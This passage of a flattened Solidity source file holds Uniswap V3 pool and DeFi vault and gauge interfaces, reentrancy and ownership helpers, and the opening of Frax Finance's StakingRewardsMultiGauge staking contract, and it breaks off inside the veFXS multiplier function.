/// Returns feeGrowthInside1LastX128 fee growth of token1 inside the tick range as of the last mint/burn/poke,
/// Returns tokensOwed0 the computed amount of token0 owed to the position as of the last mint/burn/poke,
/// Returns tokensOwed1 the computed amount of token1 owed to the position as of the last mint/burn/poke
function positions(bytes32 key)
external
view
returns (
uint128 _liquidity,
uint256 feeGrowthInside0LastX128,
uint256 feeGrowthInside1LastX128,
uint128 tokensOwed0,
uint128 tokensOwed1
);
/// @notice Returns data about a specific observation index
/// @param index The element of the observations array to fetch
/// @dev You most likely want to use #observe() instead of this method to get an observation as of some amount of time
/// ago, rather than at a specific index in the array.
/// @return blockTimestamp The timestamp of the observation,
/// Returns tickCumulative the tick multiplied by seconds elapsed for the life of the pool as of the observation timestamp,
/// Returns secondsPerLiquidityCumulativeX128 the seconds per in range liquidity for the life of the pool as of the observation timestamp,
/// Returns initialized whether the observation has been initialized and the values are safe to use
function observations(uint256 index)
external
view
returns (
uint32 blockTimestamp,
int56 tickCumulative,
uint160 secondsPerLiquidityCumulativeX128,
bool initialized
);
}
// File contracts/Uniswap_V3/pool/IUniswapV3PoolDerivedState.sol
/// @title Pool state that is not stored
/// @notice Contains view functions to provide information about the pool that is computed rather than stored on the
/// blockchain. The functions here may have variable gas costs.
interface IUniswapV3PoolDerivedState {
/// @notice Returns the cumulative tick and liquidity as of each timestamp `secondsAgo` from the current block timestamp
/// @dev To get a time weighted average tick or liquidity-in-range, you must call this with two values, one representing
/// the beginning of the period and another for the end of the period. E.g., to get the last hour time-weighted average tick,
/// you must call it with secondsAgos = [3600, 0].
/// @dev The time weighted average tick represents the geometric time weighted average price of the pool, in
/// log base sqrt(1.0001) of token1 / token0. The TickMath library can be used to go from a tick value to a ratio.
/// @param secondsAgos From how long ago each cumulative tick and liquidity value should be returned
/// @return tickCumulatives Cumulative tick values as of each `secondsAgos` from the current block timestamp
/// @return secondsPerLiquidityCumulativeX128s Cumulative seconds per liquidity-in-range value as of each `secondsAgos` from the current block
/// timestamp
function observe(uint32[] calldata secondsAgos)
external
view
returns (int56[] memory tickCumulatives, uint160[] memory secondsPerLiquidityCumulativeX128s);
/// @notice Returns a snapshot of the tick cumulative, seconds per liquidity and seconds inside a tick range
/// @dev Snapshots must only be compared to other snapshots, taken over a period for which a position existed.
/// I.e., snapshots cannot be compared if a position is not held for the entire period between when the first
/// snapshot is taken and the second snapshot is taken.
/// @param tickLower The lower tick of the range
/// @param tickUpper The upper tick of the range
/// @return tickCumulativeInside The snapshot of the tick accumulator for the range
/// @return secondsPerLiquidityInsideX128 The snapshot of seconds per liquidity for the range
/// @return secondsInside The snapshot of seconds per liquidity for the range
function snapshotCumulativesInside(int24 tickLower, int24 tickUpper)
external
view
returns (
int56 tickCumulativeInside,
uint160 secondsPerLiquidityInsideX128,
uint32 secondsInside
);
}
// File contracts/Uniswap_V3/pool/IUniswapV3PoolActions.sol
/// @title Permissionless pool actions
/// @notice Contains pool methods that can be called by anyone
interface IUniswapV3PoolActions {
/// @notice Sets the initial price for the pool
/// @dev Price is represented as a sqrt(amountToken1/amountToken0) Q64.96 value
/// @param sqrtPriceX96 the initial sqrt price of the pool as a Q64.96
function initialize(uint160 sqrtPriceX96) external;
/// @notice Adds liquidity for the given recipient/tickLower/tickUpper position
/// @dev The caller of this method receives a callback in the form of IUniswapV3MintCallback#uniswapV3MintCallback
/// in which they must pay any token0 or token1 owed for the liquidity. The amount of token0/token1 due depends
/// on tickLower, tickUpper, the amount of liquidity, and the current price.
/// @param recipient The address for which the liquidity will be created
/// @param tickLower The lower tick of the position in which to add liquidity
/// @param tickUpper The upper tick of the position in which to add liquidity
/// @param amount The amount of liquidity to mint
/// @param data Any data that should be passed through to the callback
/// @return amount0 The amount of token0 that was paid to mint the given amount of liquidity. Matches the value in the callback
/// @return amount1 The amount of token1 that was paid to mint the given amount of liquidity. Matches the value in the callback
function mint(
address recipient,
int24 tickLower,
int24 tickUpper,
uint128 amount,
bytes calldata data
) external returns (uint256 amount0, uint256 amount1);
/// @notice Collects tokens owed to a position
/// @dev Does not recompute fees earned, which must be done either via mint or burn of any amount of liquidity.
/// Collect must be called by the position owner. To withdraw only token0 or only token1, amount0Requested or
/// amount1Requested may be set to zero. To withdraw all tokens owed, caller may pass any value greater than the
/// actual tokens owed, e.g. type(uint128).max. Tokens owed may be from accumulated swap fees or burned liquidity.
/// @param recipient The address which should receive the fees collected
/// @param tickLower The lower tick of the position for which to collect fees
/// @param tickUpper The upper tick of the position for which to collect fees
/// @param amount0Requested How much token0 should be withdrawn from the fees owed
/// @param amount1Requested How much token1 should be withdrawn from the fees owed
/// @return amount0 The amount of fees collected in token0
/// @return amount1 The amount of fees collected in token1
function collect(
address recipient,
int24 tickLower,
int24 tickUpper,
uint128 amount0Requested,
uint128 amount1Requested
) external returns (uint128 amount0, uint128 amount1);
/// @notice Burn liquidity from the sender and account tokens owed for the liquidity to the position
/// @dev Can be used to trigger a recalculation of fees owed to a position by calling with an amount of 0
/// @dev Fees must be collected separately via a call to #collect
/// @param tickLower The lower tick of the position for which to burn liquidity
/// @param tickUpper The upper tick of the position for which to burn liquidity
/// @param amount How much liquidity to burn
/// @return amount0 The amount of token0 sent to the recipient
/// @return amount1 The amount of token1 sent to the recipient
function burn(
int24 tickLower,
int24 tickUpper,
uint128 amount
) external returns (uint256 amount0, uint256 amount1);
/// @notice Swap token0 for token1, or token1 for token0
/// @dev The caller of this method receives a callback in the form of IUniswapV3SwapCallback#uniswapV3SwapCallback
/// @param recipient The address to receive the output of the swap
/// @param zeroForOne The direction of the swap, true for token0 to token1, false for token1 to token0
/// @param amountSpecified The amount of the swap, which implicitly configures the swap as exact input (positive), or exact output (negative)
/// @param sqrtPriceLimitX96 The Q64.96 sqrt price limit. If zero for one, the price cannot be less than this
/// value after the swap. If one for zero, the price cannot be greater than this value after the swap
/// @param data Any data to be passed through to the callback
/// @return amount0 The delta of the balance of token0 of the pool, exact when negative, minimum when positive
/// @return amount1 The delta of the balance of token1 of the pool, exact when negative, minimum when positive
function swap(
address recipient,
bool zeroForOne,
int256 amountSpecified,
uint160 sqrtPriceLimitX96,
bytes calldata data
) external returns (int256 amount0, int256 amount1);
/// @notice Receive token0 and/or token1 and pay it back, plus a fee, in the callback
/// @dev The caller of this method receives a callback in the form of IUniswapV3FlashCallback#uniswapV3FlashCallback
/// @dev Can be used to donate underlying tokens pro-rata to currently in-range liquidity providers by calling
/// with 0 amount{0,1} and sending the donation amount(s) from the callback
/// @param recipient The address which will receive the token0 and token1 amounts
/// @param amount0 The amount of token0 to send
/// @param amount1 The amount of token1 to send
/// @param data Any data to be passed through to the callback
function flash(
address recipient,
uint256 amount0,
uint256 amount1,
bytes calldata data
) external;
/// @notice Increase the maximum number of price and liquidity observations that this pool will store
/// @dev This method is no-op if the pool already has an observationCardinalityNext greater than or equal to
/// the input observationCardinalityNext.
/// @param observationCardinalityNext The desired minimum number of observations for the pool to store
function increaseObservationCardinalityNext(uint16 observationCardinalityNext) external;
}
// File contracts/Uniswap_V3/pool/IUniswapV3PoolOwnerActions.sol
/// @title Permissioned pool actions
/// @notice Contains pool methods that may only be called by the factory owner
interface IUniswapV3PoolOwnerActions {
/// @notice Set the denominator of the protocol's % share of the fees
/// @param feeProtocol0 new protocol fee for token0 of the pool
/// @param feeProtocol1 new protocol fee for token1 of the pool
function setFeeProtocol(uint8 feeProtocol0, uint8 feeProtocol1) external;
/// @notice Collect the protocol fee accrued to the pool
/// @param recipient The address to which collected protocol fees should be sent
/// @param amount0Requested The maximum amount of token0 to send, can be 0 to collect fees in only token1
/// @param amount1Requested The maximum amount of token1 to send, can be 0 to collect fees in only token0
/// @return amount0 The protocol fee collected in token0
/// @return amount1 The protocol fee collected in token1
function collectProtocol(
address recipient,
uint128 amount0Requested,
uint128 amount1Requested
) external returns (uint128 amount0, uint128 amount1);
}
// File contracts/Uniswap_V3/pool/IUniswapV3PoolEvents.sol
/// @title Events emitted by a pool
/// @notice Contains all events emitted by the pool
interface IUniswapV3PoolEvents {
/// @notice Emitted exactly once by a pool when #initialize is first called on the pool
/// @dev Mint/Burn/Swap cannot be emitted by the pool before Initialize
/// @param sqrtPriceX96 The initial sqrt price of the pool, as a Q64.96
/// @param tick The initial tick of the pool, i.e. log base 1.0001 of the starting price of the pool
event Initialize(uint160 sqrtPriceX96, int24 tick);
/// @notice Emitted when liquidity is minted for a given position
/// @param sender The address that minted the liquidity
/// @param owner The owner of the position and recipient of any minted liquidity
/// @param tickLower The lower tick of the position
/// @param tickUpper The upper tick of the position
/// @param amount The amount of liquidity minted to the position range
/// @param amount0 How much token0 was required for the minted liquidity
/// @param amount1 How much token1 was required for the minted liquidity
event Mint(
address sender,
address indexed owner,
int24 indexed tickLower,
int24 indexed tickUpper,
uint128 amount,
uint256 amount0,
uint256 amount1
);
/// @notice Emitted when fees are collected by the owner of a position
/// @dev Collect events may be emitted with zero amount0 and amount1 when the caller chooses not to collect fees
/// @param owner The owner of the position for which fees are collected
/// @param tickLower The lower tick of the position
/// @param tickUpper The upper tick of the position
/// @param amount0 The amount of token0 fees collected
/// @param amount1 The amount of token1 fees collected
event Collect(
address indexed owner,
address recipient,
int24 indexed tickLower,
int24 indexed tickUpper,
uint128 amount0,
uint128 amount1
);
/// @notice Emitted when a position's liquidity is removed
/// @dev Does not withdraw any fees earned by the liquidity position, which must be withdrawn via #collect
/// @param owner The owner of the position for which liquidity is removed
/// @param tickLower The lower tick of the position
/// @param tickUpper The upper tick of the position
/// @param amount The amount of liquidity to remove
/// @param amount0 The amount of token0 withdrawn
/// @param amount1 The amount of token1 withdrawn
event Burn(
address indexed owner,
int24 indexed tickLower,
int24 indexed tickUpper,
uint128 amount,
uint256 amount0,
uint256 amount1
);
/// @notice Emitted by the pool for any swaps between token0 and token1
/// @param sender The address that initiated the swap call, and that received the callback
/// @param recipient The address that received the output of the swap
/// @param amount0 The delta of the token0 balance of the pool
/// @param amount1 The delta of the token1 balance of the pool
/// @param sqrtPriceX96 The sqrt(price) of the pool after the swap, as a Q64.96
/// @param liquidity The liquidity of the pool after the swap
/// @param tick The log base 1.0001 of price of the pool after the swap
event Swap(
address indexed sender,
address indexed recipient,
int256 amount0,
int256 amount1,
uint160 sqrtPriceX96,
uint128 liquidity,
int24 tick
);
/// @notice Emitted by the pool for any flashes of token0/token1
/// @param sender The address that initiated the swap call, and that received the callback
/// @param recipient The address that received the tokens from flash
/// @param amount0 The amount of token0 that was flashed
/// @param amount1 The amount of token1 that was flashed
/// @param paid0 The amount of token0 paid for the flash, which can exceed the amount0 plus the fee
/// @param paid1 The amount of token1 paid for the flash, which can exceed the amount1 plus the fee
event Flash(
address indexed sender,
address indexed recipient,
uint256 amount0,
uint256 amount1,
uint256 paid0,
uint256 paid1
);
/// @notice Emitted by the pool for increases to the number of observations that can be stored
/// @dev observationCardinalityNext is not the observation cardinality until an observation is written at the index
/// just before a mint/swap/burn.
/// @param observationCardinalityNextOld The previous value of the next observation cardinality
/// @param observationCardinalityNextNew The updated value of the next observation cardinality
event IncreaseObservationCardinalityNext(
uint16 observationCardinalityNextOld,
uint16 observationCardinalityNextNew
);
/// @notice Emitted when the protocol fee is changed by the pool
/// @param feeProtocol0Old The previous value of the token0 protocol fee
/// @param feeProtocol1Old The previous value of the token1 protocol fee
/// @param feeProtocol0New The updated value of the token0 protocol fee
/// @param feeProtocol1New The updated value of the token1 protocol fee
event SetFeeProtocol(uint8 feeProtocol0Old, uint8 feeProtocol1Old, uint8 feeProtocol0New, uint8 feeProtocol1New);
/// @notice Emitted when the collected protocol fees are withdrawn by the factory owner
/// @param sender The address that collects the protocol fees
/// @param recipient The address that receives the collected protocol fees
/// @param amount0 The amount of token0 protocol fees that is withdrawn
/// @param amount0 The amount of token1 protocol fees that is withdrawn
event CollectProtocol(address indexed sender, address indexed recipient, uint128 amount0, uint128 amount1);
}
// File contracts/Uniswap_V3/IUniswapV3Pool.sol
/// @title The interface for a Uniswap V3 Pool
/// @notice A Uniswap pool facilitates swapping and automated market making between any two assets that strictly conform
/// to the ERC20 specification
/// @dev The pool interface is broken up into many smaller pieces
interface IUniswapV3Pool is
IUniswapV3PoolImmutables,
IUniswapV3PoolState,
IUniswapV3PoolDerivedState,
IUniswapV3PoolActions,
IUniswapV3PoolOwnerActions,
IUniswapV3PoolEvents
{
}
// File contracts/Misc_AMOs/gelato/IGUniPool.sol
interface IGUniPool {
function mint(uint256 mintAmount, address receiver)
external
returns (
uint256 amount0,
uint256 amount1,
uint128 liquidityMinted
);
function burn(uint256 burnAmount, address receiver)
external
returns (
uint256 amount0,
uint256 amount1,
uint128 liquidityBurned
);
function token0() external view returns (IERC20);
function token1() external view returns (IERC20);
function upperTick() external view returns (int24);
function lowerTick() external view returns (int24);
function pool() external view returns (IUniswapV3Pool);
function decimals() external view returns (uint256);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function getMintAmounts(uint256 amount0Max, uint256 amount1Max)
external
view
returns (
uint256 amount0,
uint256 amount1,
uint256 mintAmount
);
function getUnderlyingBalances()
external
view
returns (uint256 amount0, uint256 amount1);
function getPositionID() external view returns (bytes32 positionID);
}
// File contracts/Misc_AMOs/stakedao/IOpynPerpVault.sol
interface IOpynPerpVault {
function BASE() external view returns (uint256);
function BASE_COINS(uint256) external view returns (address);
function actions(uint256) external view returns (address);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
function cap() external view returns (uint256);
function closePositions() external;
function curveLPToken() external view returns (address);
function curveMetaZap() external view returns (address);
function decimals() external view returns (uint8);
function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool);
function depositCrvLP(uint256 amount) external;
function depositUnderlying(uint256 amount, uint256 minCrvLPToken, uint256 indexOfAsset) external;
function emergencyPause() external;
function feeRecipient() external view returns (address);
function getSharesByDepositAmount(uint256 _amount) external view returns (uint256);
function getWithdrawAmountByShares(uint256 _shares) external view returns (uint256);
function increaseAllowance(address spender, uint256 addedValue) external returns (bool);
function name() external view returns (string memory);
function owner() external view returns (address);
function renounceOwnership() external;
function resumeFromPause() external;
function rollOver(uint256[] memory _allocationPercentages) external;
function sdTokenAddress() external view returns (address);
function setActions(address[] memory _actions) external;
function setCap(uint256 _newCap) external;
function setWithdrawReserve(uint256 _reserve) external;
function setWithdrawalFeePercentage(uint256 _newWithdrawalFeePercentage) external;
function setWithdrawalFeeRecipient(address _newWithdrawalFeeRecipient) external;
function state() external view returns (uint8);
function stateBeforePause() external view returns (uint8);
function symbol() external view returns (string memory);
function totalStakedaoAsset() external view returns (uint256);
function totalSupply() external view returns (uint256);
function totalUnderlyingControlled() external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function transferOwnership(address newOwner) external;
function wantedAsset() external view returns (address);
function withdrawCrvLp(uint256 _share) external;
function withdrawReserve() external view returns (uint256);
function withdrawUnderlying(uint256 _share, uint256 _minUnderlying) external;
function withdrawalFeePercentage() external view returns (uint256);
}
// File contracts/Curve/IFraxGaugeController.sol
// https://github.com/swervefi/swerve/edit/master/packages/swerve-contracts/interfaces/IGaugeController.sol
interface IFraxGaugeController {
struct Point {
uint256 bias;
uint256 slope;
}
struct VotedSlope {
uint256 slope;
uint256 power;
uint256 end;
}
// Public variables
function admin() external view returns (address);
function future_admin() external view returns (address);
function token() external view returns (address);
function voting_escrow() external view returns (address);
function n_gauge_types() external view returns (int128);
function n_gauges() external view returns (int128);
function gauge_type_names(int128) external view returns (string memory);
function gauges(uint256) external view returns (address);
function vote_user_slopes(address, address)
external
view
returns (VotedSlope memory);
function vote_user_power(address) external view returns (uint256);
function last_user_vote(address, address) external view returns (uint256);
function points_weight(address, uint256)
external
view
returns (Point memory);
function time_weight(address) external view returns (uint256);
function points_sum(int128, uint256) external view returns (Point memory);
function time_sum(uint256) external view returns (uint256);
function points_total(uint256) external view returns (uint256);
function time_total() external view returns (uint256);
function points_type_weight(int128, uint256)
external
view
returns (uint256);
function time_type_weight(uint256) external view returns (uint256);
// Getter functions
function gauge_types(address) external view returns (int128);
function gauge_relative_weight(address) external view returns (uint256);
function gauge_relative_weight(address, uint256) external view returns (uint256);
function get_gauge_weight(address) external view returns (uint256);
function get_type_weight(int128) external view returns (uint256);
function get_total_weight() external view returns (uint256);
function get_weights_sum_per_type(int128) external view returns (uint256);
// External functions
function commit_transfer_ownership(address) external;
function apply_transfer_ownership() external;
function add_gauge(
address,
int128,
uint256
) external;
function checkpoint() external;
function checkpoint_gauge(address) external;
function global_emission_rate() external view returns (uint256);
function gauge_relative_weight_write(address)
external
returns (uint256);
function gauge_relative_weight_write(address, uint256)
external
returns (uint256);
function add_type(string memory, uint256) external;
function change_type_weight(int128, uint256) external;
function change_gauge_weight(address, uint256) external;
function change_global_emission_rate(uint256) external;
function vote_for_gauge_weights(address, uint256) external;
}
// File contracts/Curve/IFraxGaugeFXSRewardsDistributor.sol
interface IFraxGaugeFXSRewardsDistributor {
function acceptOwnership() external;
function curator_address() external view returns(address);
function currentReward(address gauge_address) external view returns(uint256 reward_amount);
function distributeReward(address gauge_address) external returns(uint256 weeks_elapsed, uint256 reward_tally);
function distributionsOn() external view returns(bool);
function gauge_whitelist(address) external view returns(bool);
function is_middleman(address) external view returns(bool);
function last_time_gauge_paid(address) external view returns(uint256);
function nominateNewOwner(address _owner) external;
function nominatedOwner() external view returns(address);
function owner() external view returns(address);
function recoverERC20(address tokenAddress, uint256 tokenAmount) external;
function setCurator(address _new_curator_address) external;
function setGaugeController(address _gauge_controller_address) external;
function setGaugeState(address _gauge_address, bool _is_middleman, bool _is_active) external;
function setTimelock(address _new_timelock) external;
function timelock_address() external view returns(address);
function toggleDistributions() external;
}
// File contracts/Utils/ReentrancyGuard.sol
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor () internal {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// File contracts/Staking/Owned.sol
// https://docs.synthetix.io/contracts/Owned
contract Owned {
address public owner;
address public nominatedOwner;
constructor (address _owner) public {
require(_owner != address(0), "Owner address cannot be 0");
owner = _owner;
emit OwnerChanged(address(0), _owner);
}
function nominateNewOwner(address _owner) external onlyOwner {
nominatedOwner = _owner;
emit OwnerNominated(_owner);
}
function acceptOwnership() external {
require(msg.sender == nominatedOwner, "You must be nominated before you can accept ownership");
emit OwnerChanged(owner, nominatedOwner);
owner = nominatedOwner;
nominatedOwner = address(0);
}
modifier onlyOwner {
require(msg.sender == owner, "Only the contract owner may perform this action");
_;
}
event OwnerNominated(address newOwner);
event OwnerChanged(address oldOwner, address newOwner);
}
// File contracts/Staking/StakingRewardsMultiGauge.sol
// ====================================================================
// | ______ _______ |
// | / _____________ __ __ / ____(_____ ____ _____ ________ |
// | / /_ / ___/ __ `| |/_/ / /_ / / __ \/ __ `/ __ \/ ___/ _ \ |
// | / __/ / / / /_/ _> < / __/ / / / / / /_/ / / / / /__/ __/ |
// | /_/ /_/ \__,_/_/|_| /_/ /_/_/ /_/\__,_/_/ /_/\___/\___/ |
// | |
// ====================================================================
// ===================== StakingRewardsMultiGauge =====================
// ====================================================================
// veFXS-enabled
// Multiple tokens with different reward rates can be emitted
// Multiple teams can set the reward rates for their token(s)
// Those teams can also use a gauge, or an external function with
// Apes together strong
// Frax Finance: https://github.com/FraxFinance
// Primary Author(s)
// Travis Moore: https://github.com/FortisFortuna
// Reviewer(s) / Contributor(s)
// Jason Huan: https://github.com/jasonhuan
// Sam Kazemian: https://github.com/samkazemian
// Saddle Team: https://github.com/saddle-finance
// Fei Team: https://github.com/fei-protocol
// Alchemix Team: https://github.com/alchemix-finance
// Liquity Team: https://github.com/liquity
// Gelato Team (kassandraoftroy): https://github.com/gelatodigital
// Originally inspired by Synthetix.io, but heavily modified by the Frax team
// https://raw.githubusercontent.com/Synthetixio/synthetix/develop/contracts/StakingRewards.sol
// -------------------- VARIES --------------------
// G-UNI
// mStable
// import '../Misc_AMOs/mstable/IFeederPool.sol';
// StakeDAO sdETH-FraxPut
// StakeDAO Vault
// import '../Misc_AMOs/stakedao/IStakeDaoVault.sol';
// Uniswap V2
// import '../Uniswap/Interfaces/IUniswapV2Pair.sol';
// ------------------------------------------------
// Inheritance
contract StakingRewardsMultiGauge is Owned, ReentrancyGuard {
using SafeMath for uint256;
using SafeERC20 for ERC20;
/* ========== STATE VARIABLES ========== */
// Instances
IveFXS private veFXS = IveFXS(0xc8418aF6358FFddA74e09Ca9CC3Fe03Ca6aDC5b0);
// -------------------- VARIES --------------------
// G-UNI
// IGUniPool public stakingToken;
// mStable
// IFeederPool public stakingToken;
// sdETH-FraxPut Vault
IOpynPerpVault public stakingToken;
// StakeDAO Vault
// IStakeDaoVault public stakingToken;
// Uniswap V2
// IUniswapV2Pair public stakingToken;
// ------------------------------------------------
IFraxGaugeFXSRewardsDistributor public rewards_distributor;
// FRAX
address private constant frax_address = 0x853d955aCEf822Db058eb8505911ED77F175b99e;
// Constant for various precisions
uint256 private constant MULTIPLIER_PRECISION = 1e18;
// Time tracking
uint256 public periodFinish;
uint256 public lastUpdateTime;
// Lock time and multiplier settings
uint256 public lock_max_multiplier = uint256(3e18); // E18. 1x = e18
uint256 public lock_time_for_max_multiplier = 3 * 365 * 86400; // 3 years
uint256 public lock_time_min = 86400; // 1 * 86400 (1 day)
// veFXS related
uint256 public vefxs_per_frax_for_max_boost = uint256(4e18); // E18. 4e18 means 4 veFXS must be held by the staker per 1 FRAX
uint256 public vefxs_max_multiplier = uint256(2e18); // E18. 1x = 1e18
mapping(address => uint256) private _vefxsMultiplierStored;
// Reward addresses, gauge addresses, reward rates, and reward managers
mapping(address => address) public rewardManagers; // token addr -> manager addr
address[] public rewardTokens;
address[] public gaugeControllers;
uint256[] public rewardRatesManual;
string[] public rewardSymbols;
mapping(address => uint256) public rewardTokenAddrToIdx; // token addr -> token index
// Reward period
uint256 public rewardsDuration = 604800; // 7 * 86400 (7 days)
// Reward tracking
uint256[] private rewardsPerTokenStored;
mapping(address => mapping(uint256 => uint256)) private userRewardsPerTokenPaid; // staker addr -> token id -> paid amount
mapping(address => mapping(uint256 => uint256)) private rewards; // staker addr -> token id -> reward amount
mapping(address => uint256) private lastRewardClaimTime; // staker addr -> timestamp
uint256[] private last_gauge_relative_weights;
uint256[] private last_gauge_time_totals;
// Balance tracking
uint256 private _total_liquidity_locked;
uint256 private _total_combined_weight;
mapping(address => uint256) private _locked_liquidity;
mapping(address => uint256) private _combined_weights;
// List of valid migrators (set by governance)
mapping(address => bool) public valid_migrators;
// Stakers set which migrator(s) they want to use
mapping(address => mapping(address => bool)) public staker_allowed_migrators;
// Uniswap V2 (or G-UNI) ONLY
bool frax_is_token0;
// Stake tracking
mapping(address => LockedStake[]) private lockedStakes;
// Greylisting of bad addresses
mapping(address => bool) public greylist;
// Administrative booleans
bool public stakesUnlocked; // Release locked stakes in case of emergency
bool public migrationsOn; // Used for migrations. Prevents new stakes, but allows LP and reward withdrawals
bool public withdrawalsPaused; // For emergencies
bool public rewardsCollectionPaused; // For emergencies
bool public stakingPaused; // For emergencies
/* ========== STRUCTS ========== */
struct LockedStake {
bytes32 kek_id;
uint256 start_timestamp;
uint256 liquidity;
uint256 ending_timestamp;
uint256 lock_multiplier; // 6 decimals of precision. 1x = 1000000
}
/* ========== MODIFIERS ========== */
modifier onlyByOwner() {
require(msg.sender == owner, "Not the owner");
_;
}
modifier onlyTknMgrs(address reward_token_address) {
require(msg.sender == owner || isTokenManagerFor(msg.sender, reward_token_address), "Not owner or tkn mgr");
_;
}
modifier isMigrating() {
require(migrationsOn == true, "Not in migration");
_;
}
modifier notStakingPaused() {
require(stakingPaused == false, "Staking paused");
_;
}
modifier updateRewardAndBalance(address account, bool sync_too) {
_updateRewardAndBalance(account, sync_too);
_;
}
/* ========== CONSTRUCTOR ========== */
constructor (
address _owner,
address _stakingToken,
address _rewards_distributor_address,
string[] memory _rewardSymbols,
address[] memory _rewardTokens,
address[] memory _rewardManagers,
uint256[] memory _rewardRatesManual,
address[] memory _gaugeControllers
) Owned(_owner){
// -------------------- VARIES --------------------
// G-UNI
// stakingToken = IGUniPool(_stakingToken);
// address token0 = address(stakingToken.token0());
// frax_is_token0 = token0 == frax_address;
// mStable
// stakingToken = IFeederPool(_stakingToken);
// StakeDAO sdETH-FraxPut Vault
stakingToken = IOpynPerpVault(_stakingToken);
// StakeDAO Vault
// stakingToken = IStakeDaoVault(_stakingToken);
// Uniswap V2
// stakingToken = IUniswapV2Pair(_stakingToken);
// address token0 = stakingToken.token0();
// if (token0 == frax_address) frax_is_token0 = true;
// else frax_is_token0 = false;
// ------------------------------------------------
rewards_distributor = IFraxGaugeFXSRewardsDistributor(_rewards_distributor_address);
rewardTokens = _rewardTokens;
gaugeControllers = _gaugeControllers;
rewardRatesManual = _rewardRatesManual;
rewardSymbols = _rewardSymbols;
for (uint256 i = 0; i < _rewardTokens.length; i++){
// For fast token address -> token ID lookups later
rewardTokenAddrToIdx[_rewardTokens[i]] = i;
// Initialize the stored rewards
rewardsPerTokenStored.push(0);
// Initialize the reward managers
rewardManagers[_rewardTokens[i]] = _rewardManagers[i];
// Push in empty relative weights to initialize the array
last_gauge_relative_weights.push(0);
// Push in empty time totals to initialize the array
last_gauge_time_totals.push(0);
}
// Other booleans
stakesUnlocked = false;
// Initialization
lastUpdateTime = block.timestamp;
periodFinish = block.timestamp.add(rewardsDuration);
}
/* ========== VIEWS ========== */
// Total locked liquidity tokens
function totalLiquidityLocked() external view returns (uint256) {
return _total_liquidity_locked;
}
// Locked liquidity for a given account
function lockedLiquidityOf(address account) external view returns (uint256) {
return _locked_liquidity[account];
}
// Total 'balance' used for calculating the percent of the pool the account owns
// Takes into account the locked stake time multiplier
function totalCombinedWeight() external view returns (uint256) {
return _total_combined_weight;
}
// Combined weight for a specific account
function combinedWeightOf(address account) external view returns (uint256) {
return _combined_weights[account];
}
function fraxPerLPToken() public view returns (uint256) {
// Get the amount of FRAX 'inside' of the lp tokens
uint256 frax_per_lp_token;
// G-UNI
// ============================================
// {
// (uint256 reserve0, uint256 reserve1) = stakingToken.getUnderlyingBalances();
// uint256 total_frax_reserves = frax_is_token0 ? reserve0 : reserve1;
// frax_per_lp_token = total_frax_reserves.mul(1e18).div(stakingToken.totalSupply());
// }
// mStable
// ============================================
// {
// uint256 total_frax_reserves;
// (, IFeederPool.BassetData memory vaultData) = (stakingToken.getBasset(frax_address));
// total_frax_reserves = uint256(vaultData.vaultBalance);
// frax_per_lp_token = total_frax_reserves.mul(1e18).div(stakingToken.totalSupply());
// }
// StakeDAO sdETH-FraxPut Vault
// ============================================
{
uint256 frax3crv_held = stakingToken.totalUnderlyingControlled();
// Optimistically assume 50/50 FRAX/3CRV ratio in the metapool to save gas
frax_per_lp_token = (frax3crv_held.mul(1e18).div(stakingToken.totalSupply())) / 2;
}
// StakeDAO Vault
// ============================================
// {
// uint256 frax3crv_held = stakingToken.balance();
//
// // Optimistically assume 50/50 FRAX/3CRV ratio in the metapool to save gas
// frax_per_lp_token = (frax3crv_held.mul(1e18).div(stakingToken.totalSupply())) / 2;
// }
// Uniswap V2
// ============================================
// {
// uint256 total_frax_reserves;
// (uint256 reserve0, uint256 reserve1, ) = (stakingToken.getReserves());
// if (frax_is_token0) total_frax_reserves = reserve0;
// else total_frax_reserves = reserve1;
// frax_per_lp_token = total_frax_reserves.mul(1e18).div(stakingToken.totalSupply());
// }
return frax_per_lp_token;
}
function userStakedFrax(address account) public view returns (uint256) {
return (fraxPerLPToken()).mul(_locked_liquidity[account]).div(1e18);
}
function minVeFXSForMaxBoost(address account) public view returns (uint256) {
return (userStakedFrax(account)).mul(vefxs_per_frax_for_max_boost).div(MULTIPLIER_PRECISION);
}
function veFXSMultiplier(address account) public view returns (uint256) {
// The claimer gets a boost depending on amount of veFXS they have relative to the amount of FRAX 'inside'
// of their locked LP tokens
uint256 veFXS_needed_for_max_boost = minVeFXSForMaxBoost(account);
if (veFXS_needed_for_max_boost > 0){
